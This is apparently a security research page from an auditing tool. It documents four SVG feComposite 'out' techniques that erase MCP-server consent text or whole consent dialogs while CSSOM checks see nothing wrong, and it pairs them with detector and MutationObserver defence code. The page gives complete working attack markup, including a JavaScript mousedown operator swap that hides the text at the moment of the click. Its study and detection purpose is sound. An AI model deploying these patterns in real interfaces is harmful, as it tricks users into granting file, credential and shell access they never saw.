MCP server SVG feComposite out operator consent security
Four SA-CSS-COU consent attack patterns using feComposite operator="out" to compute alpha knockouts — creating transparency holes shaped exactly like consent text glyphs while CSSOM continues to report the original dark text color and opacity unchanged.
The SVG feComposite primitive implements seven Porter-Duff compositing operators. The operator="out" mode computes the output at each pixel as:
result_color = in_color × in_alpha × (1 − in2_alpha) result_alpha = in_alpha × (1 − in2_alpha)
The term (1 − in2_alpha) is the critical factor. Wherever in2 has non-zero alpha — that is, wherever the consent text glyphs are opaque — the formula diminishes the source’s contribution by exactly that fraction. For fully opaque in2 pixels (A = 1.0, as is the case at every glyph pixel of dark consent text), the formula yields result = 0 regardless of what in contains. The operator “cuts out” the source image in the exact shape of the in2 mask — creating a transparency hole at every glyph pixel. This is the alpha-knockout attack: consent text becomes transparent holes punched through whatever is used as in, while the DOM element retains its authored color and opacity properties untouched.
CSSOM is completely blind to the knockout: getComputedStyle(consentSpan).color returns the original dark text color (e.g. rgb(17,17,17)). getComputedStyle(consentSpan).opacity returns "1". The filter post-processing that converts opaque glyph pixels into transparency holes is applied entirely in the SVG rendering pipeline after CSSOM layout. A detector that relies exclusively on computed style properties or CSSOM opacity values will report zero findings against a fully-deployed SA-CSS-COU attack.
The Porter-Duff out formula: why glyph pixels become transparent
Understanding why operator="out" creates glyph-shaped holes requires tracing the formula through each pixel type present in a typical consent text rendering. Consider a text span with dark glyphs on a transparent background (the span itself has no background colour, only the parent container is white):
/* Pixel types in a text <span> with no background-color */
/* Type A: glyph pixel (e.g. interior of a letter stroke) */
SourceGraphic_R = 0.067 /* dark, sRGB ~17/255 */
SourceGraphic_A = 1.0 /* fully opaque */
/* Type B: non-glyph pixel (space between letters, outside bounding box) */
SourceGraphic_R = 0.0 /* transparent — no content here */
SourceGraphic_A = 0.0 /* fully transparent */
/* feFlood flood-color="white" flood-opacity="1" → whiteFill */
whiteFill_R = 1.0
whiteFill_A = 1.0 /* everywhere within the filter region */
/* feComposite in="whiteFill" in2="SourceGraphic" operator="out" */
/* Formula: result_color = in_color × in_alpha × (1 − in2_alpha) */
/* At Type A (glyph pixel): */
result_A_color = 1.0 × 1.0 × (1 − 1.0) = 0.0 /* transparent */
result_A_alpha = 1.0 × (1 − 1.0) = 0.0 /* transparent */
/* At Type B (non-glyph pixel): */
result_B_color = 1.0 × 1.0 × (1 − 0.0) = 1.0 /* opaque white */
result_B_alpha = 1.0 × (1 − 0.0) = 1.0 /* opaque */
/* Filter output: opaque white everywhere EXCEPT at glyph pixels,
which are transparent holes in the shape of the text glyphs.
Rendered over the white container background:
- Opaque white fill (non-glyph): white on white = white
- Transparent holes (glyph): white background shows through = white
Every pixel visible to the user is white.
WCAG contrast: (1.05) / (1.0 + 0.05) = 1.00:1 — completely invisible. */
The consent text does not fade, blur, or shift in colour. Instead it is surgically erased at the pixel level: glyph pixels become transparent holes, and the surrounding fill (from feFlood) covers the non-glyph spaces with opaque white. The result, rendered over a white consent dialog background, is a uniformly white rectangle. The text does not exist visually, though it exists completely in the DOM with its authored styles intact.
SA-CSS-COU-001: feFlood white + feComposite out — consent text as transparent holes in white fill
This is the canonical SA-CSS-COU attack: a white flood fill is composited “out” using the consent text span’s own pixels as the knockout mask. The filter is applied to the text <span> (not the container), so SourceGraphic has glyph pixels with A=1 and inter-character pixels with A=0. The operator="out" punches glyph-shaped holes in the white flood, then the filter output replaces the span’s normal rendering. Over a white consent dialog background, both the opaque-white fill and the white-background-through-holes appear white: contrast 1.00:1, invisible.
<svg style="position:absolute;width:0;height:0" aria-hidden="true">
<defs>
<filter id="cou001" color-interpolation-filters="sRGB">
<!-- Step 1: generate opaque white flood covering the filter region -->
<feFlood flood-color="white" flood-opacity="1" result="whiteFill"/>
<!-- Step 2: operator="out" knocks glyph-shaped holes in the white fill.
Formula: whiteFill × whiteFill_alpha × (1 − SourceGraphic_alpha)
At glyph pixels (SourceGraphic A=1): white × 1 × (1−1) = 0 → transparent
At non-glyph (SourceGraphic A=0): white × 1 × (1−0) = white → opaque -->
<feComposite in="whiteFill" in2="SourceGraphic" operator="out"
result="knockoutMask"/>
</filter>
</defs>
</svg>
<div class="consent-dialog"
style="background:white; padding:24px; border-radius:8px;">
<span style="filter:url(#cou001)">
Grant this MCP server write access to your entire file system.
</span>
<button>I Agree</button>
</div>
<!-- Visual result:
Glyph pixels → transparent holes (white background shows through → white)
Non-glyph pixels → opaque white fill (white)
All visible pixels: white.
WCAG contrast: 1.00:1 — WCAG AA FAIL (requires 4.5:1 for normal text).
CSSOM: getComputedStyle(span).color = "rgb(17,17,17)" — no anomaly detected.
getComputedStyle(span).opacity = "1" — no anomaly detected.
The attack is invisible to every CSSOM-based detection method. -->
/* Detection: inspect feComposite elements in filters applied to consent ancestors */
function detectFeCompositeOut(consentEl) {
let el = consentEl;
while (el && el !== document.body) {
const style = getComputedStyle(el);
const filterVal = style.filter || el.getAttribute('filter') || '';
const urlMatch = filterVal.match(/url\(#([^)]+)\)/);
if (urlMatch) {
const filterEl = document.getElementById(urlMatch[1]);
if (filterEl) {
for (const fc of filterEl.querySelectorAll('feComposite')) {
const op = (fc.getAttribute('operator') || 'over').toLowerCase();
if (op === 'out' || op === 'xor') {
/* Check if a feFlood feeds into this composite */
const inAttr = (fc.getAttribute('in') || '').toLowerCase();
const hasFloodInput = !!filterEl.querySelector(
`feFlood[result="${fc.getAttribute('in')}"]`
);
const severity = hasFloodInput ? 'CRITICAL' : 'HIGH';
return { risk: severity, type: 'fecomposite-out-knockout',
operator: op, hasFloodInput };
}
}
}
}
el = el.parentElement;
}
return null;
}
SA-CSS-COU-002: feComposite out on consent container with SourceAlpha — entire dialog erased
When the filter is applied to the entire consent container (a <div> with background-color:white and rendered child elements), SourceAlpha for the container is A=1 at every pixel where the container renders — both background and text. Feeding a white flood into feComposite operator="out" in2="SourceAlpha" computes white × (1 − 1) = 0 at every pixel. The entire consent container becomes transparent. The invisible container continues to intercept pointer events — the user clicks through a panel they cannot see.
<svg style="position:absolute;width:0;height:0" aria-hidden="true">
<defs>
<filter id="cou002" color-interpolation-filters="sRGB">
<feFlood flood-color="white" flood-opacity="1" result="whiteFill"/>
<!-- in2="SourceAlpha": uses only the alpha channel of the source element.
For the consent container: A=1 at EVERY rendered pixel
(background is white/opaque; text is dark/opaque).
Formula at every pixel: white × 1 × (1 − 1) = 0 → fully transparent.
The entire consent container is erased from the visual display. -->
<feComposite in="whiteFill" in2="SourceAlpha" operator="out"
result="containerErased"/>
</filter>
</defs>
</svg>
<div class="consent-dialog"
style="background:white; filter:url(#cou002); padding:24px;">
<p>Grant this MCP server write access to your entire file system,
including .env files and SSH keys.</p>
<button id="agreeBtn">I Agree</button>
</div>
<!-- Visual result:
Every pixel of the consent container: transparent (A=0, RGB=0).
The container is fully invisible.
The page content behind the dialog is visible instead.
Pointer events: the invisible container still fires click events.
agreeBtn.getBoundingClientRect() returns a non-zero rect.
User clicks at screen coordinates matching the invisible button area.
Consent is granted for full file system write access without the user
seeing any consent text at any point.
WCAG contrast: 0:1 — complete erasure.
CSSOM: opacity=1 on the container (filter does not affect opacity property).
Severity: CRITICAL — entire consent panel invisible, click-active. -->
SA-CSS-COU-003: feFlood + feComposite out on text span — selective text erasure, cleanest form
This variant is the cleanest form of the COU attack: the filter is applied exclusively to the text <span> (no background colour on the span itself). The span’s SourceGraphic contains only glyph pixels (dark, A=1) and inter-character pixels (transparent, A=0) — there is no background rectangle contributing alpha. The white flood fills all filter-region pixels with opaque white. The operator="out" composite then subtracts: glyph pixels (A=1) become transparent; inter-character pixels (A=0) remain white. Over the white consent dialog background behind the span, both areas appear white. The consent text is completely invisible. No intermediate compositing step is needed — the two-primitive chain is sufficient for complete erasure.
<svg style="position:absolute;width:0;height:0" aria-hidden="true">
<defs>
<filter id="cou003" color-interpolation-filters="sRGB"
x="-5%" y="-10%" width="110%" height="120%">
<!-- Flood covers entire filter region with opaque white -->
<feFlood flood-color="white" flood-opacity="1" result="w"/>
<!-- operator="out": w × (1 − SourceGraphic_alpha)
Glyph pixels (A=1): w × (1−1) = 0 → transparent
Inter-char pixels (A=0): w × (1−0) = w → opaque white
No third step needed — two primitives achieve complete erasure. -->
<feComposite in="w" in2="SourceGraphic" operator="out"/>
</filter>
</defs>
</svg>
<div class="consent-dialog" style="background:white; padding:24px;">
<p>
<!-- Filter on the span only; the span has no background-color -->
<span style="filter:url(#cou003)">
This MCP server requests permission to read and exfiltrate your
browser session cookies, saved passwords, and local storage.
</span>
</p>
<button>I Agree</button>
</div>
<!-- Pixel-level analysis:
SourceGraphic (text span, no background):
Glyph pixel: R≈0.067, G≈0.067, B≈0.067, A=1.0
Inter-char pixel: R=0, G=0, B=0, A=0.0
feFlood output:
All pixels: R=1.0, G=1.0, B=1.0, A=1.0
feComposite(w, SourceGraphic, operator="out"):
Glyph: R=1.0×1.0×(1−1.0)=0, A=1.0×(1−1.0)=0 → transparent
Inter-char: R=1.0×1.0×(1−0.0)=1, A=1.0×(1−0.0)=1 → opaque white
Rendered over white container background:
Glyph area: transparent → white background shows through → white
Inter-char area: opaque white → white
All visible: white
WCAG for all text pixels: 1.00:1 — WCAG AA FAIL (threshold: 4.5:1).
WCAG AA threshold for normal text: contrast ≥ 4.5:1.
Actual contrast: 1.00:1 — fully invisible.
Severity: CRITICAL. -->
SA-CSS-COU-004: JS mousedown operator swap — identity to knockout at click moment
The initial DOM state uses feComposite operator="over" with in="SourceGraphic" in2="SourceGraphic". The Porter-Duff “over” formula composites the source over itself, which is a no-op identity: the output is identical to the source. Consent text is fully readable in the static state, passing any static audit. On mousedown (the instant the user presses the consent button), the operator attribute is changed from "over" to "out". The “out” formula applied to a source composited against itself is: SourceGraphic × (1 − SourceGraphic_alpha). For any opaque pixel (A=1): result = dark × 0 = 0 (transparent). The entire element becomes transparent at the precise moment the user’s input device contacts it. The click event (mouseup) fires with the consent text already invisible. The consent has been “confirmed” by the user clicking content they could no longer see at the moment of confirmation.
<svg style="position:absolute;width:0;height:0" aria-hidden="true">
<defs>
<filter id="cou004" color-interpolation-filters="sRGB">
<!-- Initial state: operator="over" with in=in2=SourceGraphic.
over(S,S) = S — identity transformation, no visual change.
Static analysis: filter has no effect → passes audit.
Note: in2="SourceGraphic" is also the default, so
only operator= needs to change at mousedown. -->
<feComposite id="cou004K"
in="SourceGraphic"
in2="SourceGraphic"
operator="over"/>
</filter>
</defs>
</svg>
<div class="consent-dialog" style="background:white; padding:24px;">
<p style="filter:url(#cou004)">
Grant this MCP server persistent access to execute shell commands.
</p>
<button id="consentBtn">I Agree</button>
</div>
<script>
document.getElementById("consentBtn").addEventListener("mousedown", () => {
const k = document.getElementById("cou004K");
/* Switch operator from identity ("over") to knockout ("out").
feComposite(SourceGraphic, SourceGraphic, operator="out"):
result = SourceGraphic_color × SourceGraphic_alpha × (1 − SourceGraphic_alpha)
For any opaque pixel (A=1): result = color × 1 × (1−1) = 0 → fully transparent.
For any transparent pixel (A=0): result = 0 × 0 × 1 = 0 → also transparent.
The entire element becomes transparent at mousedown. */
k.setAttribute("operator", "out");
/* No other attribute changes needed — in2="SourceGraphic" already set. */
});
</script>
/* MutationObserver defence — watch operator attribute on feComposite in consent filters */
function guardCompositeOperator(consentEl, onViolation) {
let el = consentEl;
while (el && el !== document.body) {
const filterVal = (getComputedStyle(el).filter
|| el.getAttribute('filter') || '');
const urlMatch = filterVal.match(/url\(#([^)]+)\)/);
if (urlMatch) {
const filterEl = document.getElementById(urlMatch[1]);
if (filterEl) {
const mo = new MutationObserver((mutations) => {
for (const mut of mutations) {
if (mut.type !== 'attributes') continue;
if (!(mut.target instanceof SVGFECompositeElement)) continue;
if (mut.attributeName === 'operator') {
const newOp = mut.target.getAttribute('operator');
if (newOp === 'out' || newOp === 'xor') {
onViolation({
type: 'fecomposite-operator-mutation',
newOperator: newOp,
previousOperator: mut.oldValue
});
/* Block click: prevent the mouseup/click event from firing */
}
}
}
});
mo.observe(filterEl, {
subtree: true,
attributes: true,
attributeOldValue: true,
attributeFilter: ['operator']
});
}
}
el = el.parentElement;
}
}
Why CSSOM and alpha checks miss the knockout
The alpha-knockout attack exploits the gap between how browsers compute styles and how they render SVG filters. getComputedStyle() resolves CSS property values after the cascade and inheritance but before SVG filter post-processing. The filter CSS property is recorded as url(#cou001) — a reference — not as the resolved visual output. The color property reflects the authored colour of the text characters; it has no mechanism to report that those characters have been rendered as transparent holes. The opacity property is the element’s CSS opacity, which is 1.0 and unmodified. An alpha-channel snapshot of the rendered output (e.g. from canvas.drawImage()) would reveal the transparent holes, but this requires a rendered rasterisation step that most audit tools do not perform.
Practical detection gap: Static analysis tools that check consent element visibility by inspecting opacity, visibility, color, or display will report the SA-CSS-COU attacks as benign. Detection requires DOM traversal to locate feComposite elements in ancestor filters, examination of the operator attribute for knockout values ("out", "xor"), and classification of what feeds into in (a feFlood is an immediate red flag). For the JS mousedown variant (SA-CSS-COU-004), a MutationObserver on the operator attribute is the only runtime detection mechanism.
Attack summary
| ID | Technique | Target | Visual result | WCAG contrast | Severity |
|---|---|---|---|---|---|
| SA-CSS-COU-001 | feFlood white + feComposite out, in2=SourceGraphic | Text span (transparent bg) | White fill with glyph-shaped holes over white bg; fully invisible | 1.00:1 — WCAG AA FAIL | Critical |
| SA-CSS-COU-002 | feFlood white + feComposite out, in2=SourceAlpha on container | Entire consent container (opaque bg) | Entire container transparent; 0 pixels rendered; click-active | 0:1 — complete erasure | Critical |
| SA-CSS-COU-003 | feFlood + feComposite out (two-primitive minimal chain) | Text span, no background-color | Glyph transparent, inter-char white; all white on white; invisible | 1.00:1 — WCAG AA FAIL | Critical |
| SA-CSS-COU-004 | JS mousedown: operator="over" (identity) → operator="out" (knockout) | Consent text paragraph | Readable at load; fully transparent at click confirmation moment | Static: normal; at click: 0:1 | Critical |
SkillAudit findings for this attack surface
feFlood flood-color="white" feeding into feComposite operator="out" in2="SourceGraphic" on consent text span — Porter-Duff out formula yields 0 at every glyph pixel (A=1): white × 1 × (1−1)=0; opaque white at inter-character pixels (A=0): white × 1 × (1−0)=white; rendered over white container background: contrast 1.00:1; CSSOM color and opacity unchanged; detection requires feComposite operator=out classification in ancestor filter chains.feComposite operator="out" in2="SourceAlpha" on consent container with opaque background — SourceAlpha=1 at every rendered pixel (background and text); formula: whiteFill × (1−1)=0 everywhere; entire container erased to transparency; pointer events still fire on invisible elements; getComputedStyle().opacity=1 on container; severity escalated to CRITICAL due to full-panel invisibility while click-active.feFlood + feComposite operator="out" on text span with no background-color — exploits the transparent-background property of inline text spans to achieve complete text erasure with the minimum possible filter complexity; glyph pixels become transparent, inter-character pixels become white; WCAG 1.00:1; detection: feComposite with operator=out and feFlood predecessor in filter applied to any ancestor of consent text.feComposite operator from "over" (identity) to "out" (self-knockout) on consent text filter — static DOM shows benign identity composite; at click confirmation moment the operator change makes all opaque pixels transparent: S × (1−S_alpha)=0 for A=1; text is invisible during mousedown–mouseup window; MutationObserver on operator attribute with attributeOldValue=true required; block click confirmation if operator transitions to out or xor.